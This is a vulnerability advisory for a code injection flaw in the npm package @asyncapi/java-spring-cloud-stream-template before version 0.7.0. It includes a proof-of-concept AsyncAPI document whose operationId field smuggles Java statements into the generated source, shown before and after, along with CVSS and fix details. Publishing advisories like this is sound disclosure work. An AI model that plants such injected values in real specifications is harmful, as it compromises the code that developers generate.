High

Code injection issue for java-spring-cloud-stream-template

Disclosed: 25.08.2021
Updated: 11.10.2026 10:22

The following was initially reported by @jonaslagoni:

Given the following command: ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output

With the following AsyncAPI document:

{
  "asyncapi": "2.0.0",
  "info": {
    "title": "Streetlight",
    "version": "1.0.0"
  },
  "defaultContentType": "json",
  "channels": {
    "security/audit/channel": {
      "description": "Channel for the turn on command which should turn on the streetlight",
      "parameters": {
        "streetlight_id": {
          "description": "The ID of the streetlight",
          "schema": {
            "type": "string"
          }
        }
      },
      "publish": {
        "operationId": "test() { System.out.println(\"injected\"); return test(0); }\n public Consumer<CustomClass> someothername",
        "message": {
          "name": "TurnonCommand",
          "payload": {
            "$ref": "#/components/schemas/CustomClass"
          }
        }
      }
    }
  },
  "components": {
    "schemas" : {
      "CustomClass": {
        "type": "object",
        "properties": {
          "prop": { 
              "type": "string"
          }
        }
      }
    }
  }
}

Which changes the following output:

java

...
  @Bean
  public Consumer<CustomClass> test() {
    // Add business logic here.
    return null;
  }
...

java

...
  @Bean
  public Consumer<CustomClass> test() { System.out.println("injected"); return someothername(); }
  public Consumer<CustomClass> someothername() {
    // Add business logic here.
    return null;
  }
...

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	@asyncapi/java-spring-cloud-stream-template	< 0.7.0	0.7.0

References

CVSS score 8.7/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
Weakness (CWE): CWE-94
Platform: npm
Package: @asyncapi/java-spring-cloud-stream-template
Disclosed: 25.08.2021
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xj6r-2jpm-qvxp - CC BY 4.0

Vulnerability history: @asyncapi/java-spring-cloud-stream-template

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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